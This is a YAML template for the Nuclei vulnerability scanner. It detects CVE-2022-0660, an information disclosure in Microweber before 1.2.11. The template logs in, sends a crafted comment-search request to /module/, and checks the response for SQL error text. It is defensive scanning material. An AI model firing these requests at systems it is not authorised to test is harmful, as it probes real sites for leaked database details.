nuclei-templates/cves/2022/CVE-2022-0660.yaml

45 lines
1.5 KiB
YAML
Raw Normal View History

2022-08-03 10:54:02 +00:00
id: CVE-2022-0660
info:
name: Microweber - Information Disclosure
author: ami-jd
severity: high
description: Generation of error message containing sensitive information while viewing comments from "load_module:comments#search="in Packagist microweber/microweber prior to 1.2.11.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0660
- https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291/
- https://github.com/advisories/GHSA-hhrj-wp42-32v3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-209
tags: cve,cve2022,microweber,disclosure
requests:
- raw:
- |
POST /api/user_login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /module/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: {{BaseURL}}admin/view:comments
class=+module+module-comments-manage+&id=mw_admin_posts_with_comments&data-type=comments%2Fmanage&parent-module-id=mw-main-module-backend&parent-module=comments&data-search-keyword={{randstr}}
req-condition: true
cookie-reuse: true
matchers:
- type: dsl
dsl:
- contains(body_2,'QueryException')
- contains(body_2,'SQLSTATE')
- contains(body_2,'runQueryCallback')
- 'contains(all_headers_2,"text/html")'
- 'status_code_2==500'
condition: and